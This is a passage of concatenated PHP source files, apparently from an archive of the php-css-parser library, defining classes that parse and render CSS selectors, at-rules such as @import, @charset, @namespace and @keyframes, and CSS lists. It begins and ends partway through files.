namespace Sabberworm\CSS\Property;

/**
 * Class representing a single CSS selector. Selectors have to be split by the comma prior to being passed into this
 * class.
 */
class Selector
{
    /**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal
     */
    const NON_ID_ATTRIBUTES_AND_PSEUDO_CLASSES_RX = '/
        (\.[\w]+)                   # classes
        |
        \[(\w+)                     # attributes
        |
        (\:(                        # pseudo classes
            link|visited|active
            |hover|focus
            |lang
            |target
            |enabled|disabled|checked|indeterminate
            |root
            |nth-child|nth-last-child|nth-of-type|nth-last-of-type
            |first-child|last-child|first-of-type|last-of-type
            |only-child|only-of-type
            |empty|contains
        ))
        /ix';

    /**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal
     */
    const ELEMENTS_AND_PSEUDO_ELEMENTS_RX = '/
        ((^|[\s\+\>\~]+)[\w]+   # elements
        |
        \:{1,2}(                # pseudo-elements
            after|before|first-letter|first-line|selection
        ))
        /ix';

    /**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal since 8.5.2
     */
    const SELECTOR_VALIDATION_RX = '/
        ^(
            (?:
                [a-zA-Z0-9\x{00A0}-\x{FFFF}_^$|*="\'~\[\]()\-\s\.:#+>]* # any sequence of valid unescaped characters
                (?:\\\\.)?                                              # a single escaped character
                (?:([\'"]).*?(?<!\\\\)\2)?                              # a quoted text like [id="example"]
            )*
        )$
        /ux';

    /**
     * @var string
     */
    private $sSelector;

    /**
     * @var int|null
     */
    private $iSpecificity;

    /**
     * @param string $sSelector
     *
     * @return bool
     */
    public static function isValid($sSelector)
    {
        return preg_match(static::SELECTOR_VALIDATION_RX, $sSelector);
    }

    /**
     * @param string $sSelector
     * @param bool $bCalculateSpecificity
     */
    public function __construct($sSelector, $bCalculateSpecificity = false)
    {
        $this->setSelector($sSelector);
        if ($bCalculateSpecificity) {
            $this->getSpecificity();
        }
    }

    /**
     * @return string
     */
    public function getSelector()
    {
        return $this->sSelector;
    }

    /**
     * @param string $sSelector
     *
     * @return void
     */
    public function setSelector($sSelector)
    {
        $this->sSelector = trim($sSelector);
        $this->iSpecificity = null;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->getSelector();
    }

    /**
     * @return int
     */
    public function getSpecificity()
    {
        if ($this->iSpecificity === null) {
            $a = 0;
            /// @todo should exclude \# as well as "#"
            $aMatches = null;
            $b = substr_count($this->sSelector, '#');
            $c = preg_match_all(self::NON_ID_ATTRIBUTES_AND_PSEUDO_CLASSES_RX, $this->sSelector, $aMatches);
            $d = preg_match_all(self::ELEMENTS_AND_PSEUDO_ELEMENTS_RX, $this->sSelector, $aMatches);
            $this->iSpecificity = ($a * 1000) + ($b * 100) + ($c * 10) + $d;
        }
        return $this->iSpecificity;
    }
}
vendor/sabberworm/php-css-parser/src/Property/CSSNamespace.php000066600000005320151150442740020453 0ustar00<?php

namespace Sabberworm\CSS\Property;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\OutputFormat;

/**
 * `CSSNamespace` represents an `@namespace` rule.
 */
class CSSNamespace implements AtRule
{
    /**
     * @var string
     */
    private $mUrl;

    /**
     * @var string
     */
    private $sPrefix;

    /**
     * @var int
     */
    private $iLineNo;

    /**
     * @var array<array-key, Comment>
     */
    protected $aComments;

    /**
     * @param string $mUrl
     * @param string|null $sPrefix
     * @param int $iLineNo
     */
    public function __construct($mUrl, $sPrefix = null, $iLineNo = 0)
    {
        $this->mUrl = $mUrl;
        $this->sPrefix = $sPrefix;
        $this->iLineNo = $iLineNo;
        $this->aComments = [];
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return '@namespace ' . ($this->sPrefix === null ? '' : $this->sPrefix . ' ')
            . $this->mUrl->render($oOutputFormat) . ';';
    }

    /**
     * @return string
     */
    public function getUrl()
    {
        return $this->mUrl;
    }

    /**
     * @return string|null
     */
    public function getPrefix()
    {
        return $this->sPrefix;
    }

    /**
     * @param string $mUrl
     *
     * @return void
     */
    public function setUrl($mUrl)
    {
        $this->mUrl = $mUrl;
    }

    /**
     * @param string $sPrefix
     *
     * @return void
     */
    public function setPrefix($sPrefix)
    {
        $this->sPrefix = $sPrefix;
    }

    /**
     * @return string
     */
    public function atRuleName()
    {
        return 'namespace';
    }

    /**
     * @return array<int, string>
     */
    public function atRuleArgs()
    {
        $aResult = [$this->mUrl];
        if ($this->sPrefix) {
            array_unshift($aResult, $this->sPrefix);
        }
        return $aResult;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments)
    {
        $this->aComments = array_merge($this->aComments, $aComments);
    }

    /**
     * @return array<array-key, Comment>
     */
    public function getComments()
    {
        return $this->aComments;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments)
    {
        $this->aComments = $aComments;
    }
}
vendor/sabberworm/php-css-parser/src/Property/Import.php000066600000005265151150442740017470 0ustar00<?php

namespace Sabberworm\CSS\Property;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Value\URL;

/**
 * Class representing an `@import` rule.
 */
class Import implements AtRule
{
    /**
     * @var URL
     */
    private $oLocation;

    /**
     * @var string
     */
    private $sMediaQuery;

    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @var array<array-key, Comment>
     */
    protected $aComments;

    /**
     * @param URL $oLocation
     * @param string $sMediaQuery
     * @param int $iLineNo
     */
    public function __construct(URL $oLocation, $sMediaQuery, $iLineNo = 0)
    {
        $this->oLocation = $oLocation;
        $this->sMediaQuery = $sMediaQuery;
        $this->iLineNo = $iLineNo;
        $this->aComments = [];
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * @param URL $oLocation
     *
     * @return void
     */
    public function setLocation($oLocation)
    {
        $this->oLocation = $oLocation;
    }

    /**
     * @return URL
     */
    public function getLocation()
    {
        return $this->oLocation;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return $oOutputFormat->comments($this) . "@import " . $this->oLocation->render($oOutputFormat)
            . ($this->sMediaQuery === null ? '' : ' ' . $this->sMediaQuery) . ';';
    }

    /**
     * @return string
     */
    public function atRuleName()
    {
        return 'import';
    }

    /**
     * @return array<int, URL|string>
     */
    public function atRuleArgs()
    {
        $aResult = [$this->oLocation];
        if ($this->sMediaQuery) {
            array_push($aResult, $this->sMediaQuery);
        }
        return $aResult;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments)
    {
        $this->aComments = array_merge($this->aComments, $aComments);
    }

    /**
     * @return array<array-key, Comment>
     */
    public function getComments()
    {
        return $this->aComments;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments)
    {
        $this->aComments = $aComments;
    }

    /**
     * @return string
     */
    public function getMediaQuery()
    {
        return $this->sMediaQuery;
    }
}
vendor/sabberworm/php-css-parser/src/Property/KeyframeSelector.php000066600000001335151150442740021454 0ustar00<?php

namespace Sabberworm\CSS\Property;

class KeyframeSelector extends Selector
{
    /**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal since 8.5.2
     */
    const SELECTOR_VALIDATION_RX = '/
    ^(
        (?:
            [a-zA-Z0-9\x{00A0}-\x{FFFF}_^$|*="\'~\[\]()\-\s\.:#+>]* # any sequence of valid unescaped characters
            (?:\\\\.)?                                              # a single escaped character
            (?:([\'"]).*?(?<!\\\\)\2)?                              # a quoted text like [id="example"]
        )*
    )|
    (\d+%)                                                          # keyframe animation progress percentage (e.g. 50%)
    $
    /ux';
}
vendor/sabberworm/php-css-parser/src/Property/Charset.php000066600000005020151150442740017574 0ustar00<?php

namespace Sabberworm\CSS\Property;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Value\CSSString;

/**
 * Class representing an `@charset` rule.
 *
 * The following restrictions apply:
 * - May not be found in any CSSList other than the Document.
 * - May only appear at the very top of a Document’s contents.
 * - Must not appear more than once.
 */
class Charset implements AtRule
{
    /**
     * @var CSSString
     */
    private $oCharset;

    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @var array<array-key, Comment>
     */
    protected $aComments;

    /**
     * @param CSSString $oCharset
     * @param int $iLineNo
     */
    public function __construct(CSSString $oCharset, $iLineNo = 0)
    {
        $this->oCharset = $oCharset;
        $this->iLineNo = $iLineNo;
        $this->aComments = [];
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * @param string|CSSString $oCharset
     *
     * @return void
     */
    public function setCharset($sCharset)
    {
        $sCharset = $sCharset instanceof CSSString ? $sCharset : new CSSString($sCharset);
        $this->oCharset = $sCharset;
    }

    /**
     * @return string
     */
    public function getCharset()
    {
        return $this->oCharset->getString();
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        return "{$oOutputFormat->comments($this)}@charset {$this->oCharset->render($oOutputFormat)};";
    }

    /**
     * @return string
     */
    public function atRuleName()
    {
        return 'charset';
    }

    /**
     * @return string
     */
    public function atRuleArgs()
    {
        return $this->oCharset;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments)
    {
        $this->aComments = array_merge($this->aComments, $aComments);
    }

    /**
     * @return array<array-key, Comment>
     */
    public function getComments()
    {
        return $this->aComments;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments)
    {
        $this->aComments = $aComments;
    }
}
vendor/sabberworm/php-css-parser/src/OutputFormatter.php000066600000013571151150442740017555 0ustar00<?php

namespace Sabberworm\CSS;

use Sabberworm\CSS\Comment\Commentable;
use Sabberworm\CSS\Parsing\OutputException;

class OutputFormatter
{
    /**
     * @var OutputFormat
     */
    private $oFormat;

    public function __construct(OutputFormat $oFormat)
    {
        $this->oFormat = $oFormat;
    }

    /**
     * @param string $sName
     * @param string|null $sType
     *
     * @return string
     */
    public function space($sName, $sType = null)
    {
        $sSpaceString = $this->oFormat->get("Space$sName");
        // If $sSpaceString is an array, we have multiple values configured
        // depending on the type of object the space applies to
        if (is_array($sSpaceString)) {
            if ($sType !== null && isset($sSpaceString[$sType])) {
                $sSpaceString = $sSpaceString[$sType];
            } else {
                $sSpaceString = reset($sSpaceString);
            }
        }
        return $this->prepareSpace($sSpaceString);
    }

    /**
     * @return string
     */
    public function spaceAfterRuleName()
    {
        return $this->space('AfterRuleName');
    }

    /**
     * @return string
     */
    public function spaceBeforeRules()
    {
        return $this->space('BeforeRules');
    }

    /**
     * @return string
     */
    public function spaceAfterRules()
    {
        return $this->space('AfterRules');
    }

    /**
     * @return string
     */
    public function spaceBetweenRules()
    {
        return $this->space('BetweenRules');
    }

    /**
     * @return string
     */
    public function spaceBeforeBlocks()
    {
        return $this->space('BeforeBlocks');
    }

    /**
     * @return string
     */
    public function spaceAfterBlocks()
    {
        return $this->space('AfterBlocks');
    }

    /**
     * @return string
     */
    public function spaceBetweenBlocks()
    {
        return $this->space('BetweenBlocks');
    }

    /**
     * @return string
     */
    public function spaceBeforeSelectorSeparator()
    {
        return $this->space('BeforeSelectorSeparator');
    }

    /**
     * @return string
     */
    public function spaceAfterSelectorSeparator()
    {
        return $this->space('AfterSelectorSeparator');
    }

    /**
     * @param string $sSeparator
     *
     * @return string
     */
    public function spaceBeforeListArgumentSeparator($sSeparator)
    {
        return $this->space('BeforeListArgumentSeparator', $sSeparator);
    }

    /**
     * @param string $sSeparator
     *
     * @return string
     */
    public function spaceAfterListArgumentSeparator($sSeparator)
    {
        return $this->space('AfterListArgumentSeparator', $sSeparator);
    }

    /**
     * @return string
     */
    public function spaceBeforeOpeningBrace()
    {
        return $this->space('BeforeOpeningBrace');
    }

    /**
     * Runs the given code, either swallowing or passing exceptions, depending on the `bIgnoreExceptions` setting.
     *
     * @param string $cCode the name of the function to call
     *
     * @return string|null
     */
    public function safely($cCode)
    {
        if ($this->oFormat->get('IgnoreExceptions')) {
            // If output exceptions are ignored, run the code with exception guards
            try {
                return $cCode();
            } catch (OutputException $e) {
                return null;
            } // Do nothing
        } else {
            // Run the code as-is
            return $cCode();
        }
    }

    /**
     * Clone of the `implode` function, but calls `render` with the current output format instead of `__toString()`.
     *
     * @param string $sSeparator
     * @param array<array-key, Renderable|string> $aValues
     * @param bool $bIncreaseLevel
     *
     * @return string
     */
    public function implode($sSeparator, array $aValues, $bIncreaseLevel = false)
    {
        $sResult = '';
        $oFormat = $this->oFormat;
        if ($bIncreaseLevel) {
            $oFormat = $oFormat->nextLevel();
        }
        $bIsFirst = true;
        foreach ($aValues as $mValue) {
            if ($bIsFirst) {
                $bIsFirst = false;
            } else {
                $sResult .= $sSeparator;
            }
            if ($mValue instanceof Renderable) {
                $sResult .= $mValue->render($oFormat);
            } else {
                $sResult .= $mValue;
            }
        }
        return $sResult;
    }

    /**
     * @param string $sString
     *
     * @return string
     */
    public function removeLastSemicolon($sString)
    {
        if ($this->oFormat->get('SemicolonAfterLastRule')) {
            return $sString;
        }
        $sString = explode(';', $sString);
        if (count($sString) < 2) {
            return $sString[0];
        }
        $sLast = array_pop($sString);
        $sNextToLast = array_pop($sString);
        array_push($sString, $sNextToLast . $sLast);
        return implode(';', $sString);
    }

    /**
     *
     * @param array<Commentable> $aComments
     *
     * @return string
     */
    public function comments(Commentable $oCommentable)
    {
        if (!$this->oFormat->bRenderComments) {
            return '';
        }

        $sResult = '';
        $aComments = $oCommentable->getComments();
        $iLastCommentIndex = count($aComments) - 1;

        foreach ($aComments as $i => $oComment) {
            $sResult .= $oComment->render($this->oFormat);
            $sResult .= $i === $iLastCommentIndex ? $this->spaceAfterBlocks() : $this->spaceBetweenBlocks();
        }
        return $sResult;
    }

    /**
     * @param string $sSpaceString
     *
     * @return string
     */
    private function prepareSpace($sSpaceString)
    {
        return str_replace("\n", "\n" . $this->indent(), $sSpaceString);
    }

    /**
     * @return string
     */
    private function indent()
    {
        return str_repeat($this->oFormat->sIndentation, $this->oFormat->level());
    }
}
vendor/sabberworm/php-css-parser/src/CSSList/KeyFrame.php000066600000003767151150442740017366 0ustar00<?php

namespace Sabberworm\CSS\CSSList;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Property\AtRule;

class KeyFrame extends CSSList implements AtRule
{
    /**
     * @var string|null
     */
    private $vendorKeyFrame;

    /**
     * @var string|null
     */
    private $animationName;

    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        parent::__construct($iLineNo);
        $this->vendorKeyFrame = null;
        $this->animationName = null;
    }

    /**
     * @param string $vendorKeyFrame
     */
    public function setVendorKeyFrame($vendorKeyFrame)
    {
        $this->vendorKeyFrame = $vendorKeyFrame;
    }

    /**
     * @return string|null
     */
    public function getVendorKeyFrame()
    {
        return $this->vendorKeyFrame;
    }

    /**
     * @param string $animationName
     */
    public function setAnimationName($animationName)
    {
        $this->animationName = $animationName;
    }

    /**
     * @return string|null
     */
    public function getAnimationName()
    {
        return $this->animationName;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $sResult = $oOutputFormat->comments($this);
        $sResult .= "@{$this->vendorKeyFrame} {$this->animationName}{$oOutputFormat->spaceBeforeOpeningBrace()}{";
        $sResult .= $this->renderListContents($oOutputFormat);
        $sResult .= '}';
        return $sResult;
    }

    /**
     * @return bool
     */
    public function isRootList()
    {
        return false;
    }

    /**
     * @return string|null
     */
    public function atRuleName()
    {
        return $this->vendorKeyFrame;
    }

    /**
     * @return string|null
     */
    public function atRuleArgs()
    {
        return $this->animationName;
    }
}
vendor/sabberworm/php-css-parser/src/CSSList/AtRuleBlockList.php000066600000003343151150442740020654 0ustar00<?php

namespace Sabberworm\CSS\CSSList;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Property\AtRule;

/**
 * A `BlockList` constructed by an unknown at-rule. `@media` rules are rendered into `AtRuleBlockList` objects.
 */
class AtRuleBlockList extends CSSBlockList implements AtRule
{
    /**
     * @var string
     */
    private $sType;

    /**
     * @var string
     */
    private $sArgs;

    /**
     * @param string $sType
     * @param string $sArgs
     * @param int $iLineNo
     */
    public function __construct($sType, $sArgs = '', $iLineNo = 0)
    {
        parent::__construct($iLineNo);
        $this->sType = $sType;
        $this->sArgs = $sArgs;
    }

    /**
     * @return string
     */
    public function atRuleName()
    {
        return $this->sType;
    }

    /**
     * @return string
     */
    public function atRuleArgs()
    {
        return $this->sArgs;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat)
    {
        $sResult = $oOutputFormat->comments($this);
        $sResult .= $oOutputFormat->sBeforeAtRuleBlock;
        $sArgs = $this->sArgs;
        if ($sArgs) {
            $sArgs = ' ' . $sArgs;
        }
        $sResult .= "@{$this->sType}$sArgs{$oOutputFormat->spaceBeforeOpeningBrace()}{";
        $sResult .= $this->renderListContents($oOutputFormat);
        $sResult .= '}';
        $sResult .= $oOutputFormat->sAfterAtRuleBlock;
        return $sResult;
    }

    /**
     * @return bool
     */
    public function isRootList()
    {
        return false;
    }
}
vendor/sabberworm/php-css-parser/src/CSSList/CSSList.php000066600000037355151150442740017147 0ustar00<?php

namespace Sabberworm\CSS\CSSList;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\Comment\Commentable;
use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\SourceException;
use Sabberworm\CSS\Parsing\UnexpectedEOFException;
use Sabberworm\CSS\Parsing\UnexpectedTokenException;
use Sabberworm\CSS\Property\AtRule;
use Sabberworm\CSS\Property\Charset;
use Sabberworm\CSS\Property\CSSNamespace;
use Sabberworm\CSS\Property\Import;
use Sabberworm\CSS\Property\Selector;
use Sabberworm\CSS\Renderable;
use Sabberworm\CSS\RuleSet\AtRuleSet;
use Sabberworm\CSS\RuleSet\DeclarationBlock;
use Sabberworm\CSS\RuleSet\RuleSet;
use Sabberworm\CSS\Settings;
use Sabberworm\CSS\Value\CSSString;
use Sabberworm\CSS\Value\URL;
use Sabberworm\CSS\Value\Value;

/**
 * This is the most generic container available. It can contain `DeclarationBlock`s (rule sets with a selector),
 * `RuleSet`s as well as other `CSSList` objects.
 *
 * It can also contain `Import` and `Charset` objects stemming from at-rules.
 */
abstract class CSSList implements Renderable, Commentable
{
    /**
     * @var array<array-key, Comment>
     */
    protected $aComments;

    /**
     * @var array<int, RuleSet|CSSList|Import|Charset>
     */
    protected $aContents;

    /**
     * @var int
     */
    protected $iLineNo;

    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        $this->aComments = [];
        $this->aContents = [];
        $this->iLineNo = $iLineNo;
    }

    /**
     * @return void
     *
     * @throws UnexpectedTokenException
     * @throws SourceException
     */
    public static function parseList(ParserState $oParserState, CSSList $oList)
    {
        $bIsRoot = $oList instanceof Document;
        if (is_string($oParserState)) {
            $oParserState = new ParserState($oParserState, Settings::create());
        }
        $bLenientParsing = $oParserState->getSettings()->bLenientParsing;
        $aComments = [];
        while (!$oParserState->isEnd()) {
            $aComments = array_merge($aComments, $oParserState->consumeWhiteSpace());
            $oListItem = null;
            if ($bLenientParsing) {
                try {
                    $oListItem = self::parseListItem($oParserState, $oList);
                } catch (UnexpectedTokenException $e) {
                    $oListItem = false;
                }
            } else {
                $oListItem = self::parseListItem($oParserState, $oList);
            }
            if ($oListItem === null) {
                // List parsing finished
                return;
            }
            if ($oListItem) {
                $oListItem->addComments($aComments);
                $oList->append($oListItem);
            }
            $aComments = $oParserState->consumeWhiteSpace();
        }
        $oList->addComments($aComments);
        if (!$bIsRoot && !$bLenientParsing) {
            throw new SourceException("Unexpected end of document", $oParserState->currentLine());
        }
    }

    /**
     * @return AtRuleBlockList|KeyFrame|Charset|CSSNamespace|Import|AtRuleSet|DeclarationBlock|null|false
     *
     * @throws SourceException
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    private static function parseListItem(ParserState $oParserState, CSSList $oList)
    {
        $bIsRoot = $oList instanceof Document;
        if ($oParserState->comes('@')) {
            $oAtRule = self::parseAtRule($oParserState);
            if ($oAtRule instanceof Charset) {
                if (!$bIsRoot) {
                    throw new UnexpectedTokenException(
                        '@charset may only occur in root document',
                        '',
                        'custom',
                        $oParserState->currentLine()
                    );
                }
                if (count($oList->getContents()) > 0) {
                    throw new UnexpectedTokenException(
                        '@charset must be the first parseable token in a document',
                        '',
                        'custom',
                        $oParserState->currentLine()
                    );
                }
                $oParserState->setCharset($oAtRule->getCharset());
            }
            return $oAtRule;
        } elseif ($oParserState->comes('}')) {
            if ($bIsRoot) {
                if ($oParserState->getSettings()->bLenientParsing) {
                    return DeclarationBlock::parse($oParserState);
                } else {
                    throw new SourceException("Unopened {", $oParserState->currentLine());
                }
            } else {
                // End of list
                return null;
            }
        } else {
            return DeclarationBlock::parse($oParserState, $oList);
        }
    }

    /**
     * @param ParserState $oParserState
     *
     * @return AtRuleBlockList|KeyFrame|Charset|CSSNamespace|Import|AtRuleSet|null
     *
     * @throws SourceException
     * @throws UnexpectedTokenException
     * @throws UnexpectedEOFException
     */
    private static function parseAtRule(ParserState $oParserState)
    {
        $oParserState->consume('@');
        $sIdentifier = $oParserState->parseIdentifier();
        $iIdentifierLineNum = $oParserState->currentLine();
        $oParserState->consumeWhiteSpace();
        if ($sIdentifier === 'import') {
            $oLocation = URL::parse($oParserState);
            $oParserState->consumeWhiteSpace();
            $sMediaQuery = null;
            if (!$oParserState->comes(';')) {
                $sMediaQuery = trim($oParserState->consumeUntil([';', ParserState::EOF]));
            }
            $oParserState->consumeUntil([';', ParserState::EOF], true, true);
            return new Import($oLocation, $sMediaQuery ?: null, $iIdentifierLineNum);
        } elseif ($sIdentifier === 'charset') {
            $oCharsetString = CSSString::parse($oParserState);
            $oParserState->consumeWhiteSpace();
            $oParserState->consumeUntil([';', ParserState::EOF], true, true);
            return new Charset($oCharsetString, $iIdentifierLineNum);
        } elseif (self::identifierIs($sIdentifier, 'keyframes')) {
            $oResult = new KeyFrame($iIdentifierLineNum);
            $oResult->setVendorKeyFrame($sIdentifier);
            $oResult->setAnimationName(trim($oParserState->consumeUntil('{', false, true)));
            CSSList::parseList($oParserState, $oResult);
            if ($oParserState->comes('}')) {
                $oParserState->consume('}');
            }
            return $oResult;
        } elseif ($sIdentifier === 'namespace') {
            $sPrefix = null;
            $mUrl = Value::parsePrimitiveValue($oParserState);
            if (!$oParserState->comes(';')) {
                $sPrefix = $mUrl;
                $mUrl = Value::parsePrimitiveValue($oParserState);
            }
            $oParserState->consumeUntil([';', ParserState::EOF], true, true);
            if ($sPrefix !== null && !is_string($sPrefix)) {
                throw new UnexpectedTokenException('Wrong namespace prefix', $sPrefix, 'custom', $iIdentifierLineNum);
            }
            if (!($mUrl instanceof CSSString || $mUrl instanceof URL)) {
                throw new UnexpectedTokenException(
                    'Wrong namespace url of invalid type',
                    $mUrl,
                    'custom',
                    $iIdentifierLineNum
                );
            }
            return new CSSNamespace($mUrl, $sPrefix, $iIdentifierLineNum);
        } else {
            // Unknown other at rule (font-face or such)
            $sArgs = trim($oParserState->consumeUntil('{', false, true));
            if (substr_count($sArgs, "(") != substr_count($sArgs, ")")) {
                if ($oParserState->getSettings()->bLenientParsing) {
                    return null;
                } else {
                    throw new SourceException("Unmatched brace count in media query", $oParserState->currentLine());
                }
            }
            $bUseRuleSet = true;
            foreach (explode('/', AtRule::BLOCK_RULES) as $sBlockRuleName) {
                if (self::identifierIs($sIdentifier, $sBlockRuleName)) {
                    $bUseRuleSet = false;
                    break;
                }
            }
            if ($bUseRuleSet) {
                $oAtRule = new AtRuleSet($sIdentifier, $sArgs, $iIdentifierLineNum);
                RuleSet::parseRuleSet($oParserState, $oAtRule);
            } else {
                $oAtRule = new AtRuleBlockList($sIdentifier, $sArgs, $iIdentifierLineNum);
                CSSList::parseList($oParserState, $oAtRule);
                if ($oParserState->comes('}')) {
                    $oParserState->consume('}');
                }
            }
            return $oAtRule;
        }
    }

    /**
     * Tests an identifier for a given value. Since identifiers are all keywords, they can be vendor-prefixed.
     * We need to check for these versions too.
     *
     * @param string $sIdentifier
     * @param string $sMatch
     *
     * @return bool
     */
    private static function identifierIs($sIdentifier, $sMatch)
    {
        return (strcasecmp($sIdentifier, $sMatch) === 0)
            ?: preg_match("/^(-\\w+-)?$sMatch$/i", $sIdentifier) === 1;
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }

    /**
     * Prepends an item to the list of contents.
     *
     * @param RuleSet|CSSList|Import|Charset $oItem
     *
     * @return void
     */
    public function prepend($oItem)
    {
        array_unshift($this->aContents, $oItem);
    }

    /**
     * Appends an item to the list of contents.
     *
     * @param RuleSet|CSSList|Import|Charset $oItem
     *
     * @return void
     */
    public function append($oItem)
    {
        $this->aContents[] = $oItem;
    }

    /**
     * Splices the list of contents.
     *
     * @param int $iOffset
     * @param int $iLength
     * @param array<int, RuleSet|CSSList|Import|Charset> $mReplacement
     *
     * @return void
     */
    public function splice($iOffset, $iLength = null, $mReplacement = null)
    {
        array_splice($this->aContents, $iOffset, $iLength, $mReplacement);
    }

    /**
     * Inserts an item in the CSS list before its sibling. If the desired sibling cannot be found,
     * the item is appended at the end.
     *
     * @param RuleSet|CSSList|Import|Charset $item
     * @param RuleSet|CSSList|Import|Charset $sibling
     */
    public function insertBefore($item, $sibling)
    {
        if (in_array($sibling, $this->aContents, true)) {
            $this->replace($sibling, [$item, $sibling]);
        } else {
            $this->append($item);
        }
    }

    /**
     * Removes an item from the CSS list.
     *
     * @param RuleSet|Import|Charset|CSSList $oItemToRemove
     *        May be a RuleSet (most likely a DeclarationBlock), a Import,
     *        a Charset or another CSSList (most likely a MediaQuery)
     *
     * @return bool whether the item was removed
     */
    public function remove($oItemToRemove)
    {
        $iKey = array_search($oItemToRemove, $this->aContents, true);
        if ($iKey !== false) {
            unset($this->aContents[$iKey]);
            return true;
        }
        return false;
    }

    /**
     * Replaces an item from the CSS list.
     *
     * @param RuleSet|Import|Charset|CSSList $oOldItem
     *        May be a `RuleSet` (most likely a `DeclarationBlock`), an `Import`, a `Charset`
     *        or another `CSSList` (most likely a `MediaQuery`)
     *
     * @return bool
     */
    public function replace($oOldItem, $mNewItem)
    {
        $iKey = array_search($oOldItem, $this->aContents, true);
        if ($iKey !== false) {
            if (is_array($mNewItem)) {
                array_splice($this->aContents, $iKey, 1, $mNewItem);
            } else {
                array_splice($this->aContents, $iKey, 1, [$mNewItem]);
            }
            return true;
        }
        return false;
    }

    /**
     * @param array<int, RuleSet|Import|Charset|CSSList> $aContents
     */
    public function setContents(array $aContents)
    {
        $this->aContents = [];
        foreach ($aContents as $content) {
            $this->append($content);
        }
    }

    /**
     * Removes a declaration block from the CSS list if it matches all given selectors.
     *
     * @param DeclarationBlock|array<array-key, Selector>|string $mSelector the selectors to match
     * @param bool $bRemoveAll whether to stop at the first declaration block found or remove all blocks
     *
     * @return void
     */
    public function removeDeclarationBlockBySelector($mSelector, $bRemoveAll = false)
    {
        if ($mSelector instanceof DeclarationBlock) {
            $mSelector = $mSelector->getSelectors();
        }
        if (!is_array($mSelector)) {
            $mSelector = explode(',', $mSelector);
        }
        foreach ($mSelector as $iKey => &$mSel) {
            if (!($mSel instanceof Selector)) {
                if (!Selector::isValid($mSel)) {
                    throw new UnexpectedTokenException(
                        "Selector did not match '" . Selector::SELECTOR_VALIDATION_RX . "'.",
                        $mSel,
                        "custom"
                    );
                }
                $mSel = new Selector($mSel);
            }
        }
        foreach ($this->aContents as $iKey => $mItem) {
            if (!($mItem instanceof DeclarationBlock)) {
                continue;
            }
            if ($mItem->getSelectors() == $mSelector) {
                unset($this->aContents[$iKey]);
                if (!$bRemoveAll) {
                    return;
                }
            }
        }
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return $this->render(new OutputFormat());
    }

    /**
     * @return string
     */
    protected function renderListContents(OutputFormat $oOutputFormat)
    {
        $sResult = '';
        $bIsFirst = true;
        $oNextLevel = $oOutputFormat;
        if (!$this->isRootList()) {
            $oNextLevel = $oOutputFormat->nextLevel();
        }
        foreach ($this->aContents as $oContent) {
            $sRendered = $oOutputFormat->safely(function () use ($oNextLevel, $oContent) {
                return $oContent->render($oNextLevel);
            });
            if ($sRendered === null) {
                continue;
            }
            if ($bIsFirst) {
                $bIsFirst = false;
                $sResult .= $oNextLevel->spaceBeforeBlocks();
            } else {
                $sResult .= $oNextLevel->spaceBetweenBlocks();
            }
            $sResult .= $sRendered;
        }

        if (!$bIsFirst) {
            // Had some output
            $sResult .= $oOutputFormat->spaceAfterBlocks();
        }

        return $sResult;
    }

    /**
     * Return true if the list can not be further outdented. Only important when rendering.
     *
     * @return bool
     */
    abstract public function isRootList();

    /**
     * Returns the stored items.
     *
     * @return array<int, RuleSet|Import|Charset|CSSList>
     */
    public function getContents()
    {
        return $this->aContents;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function addComments(array $aComments)
    {
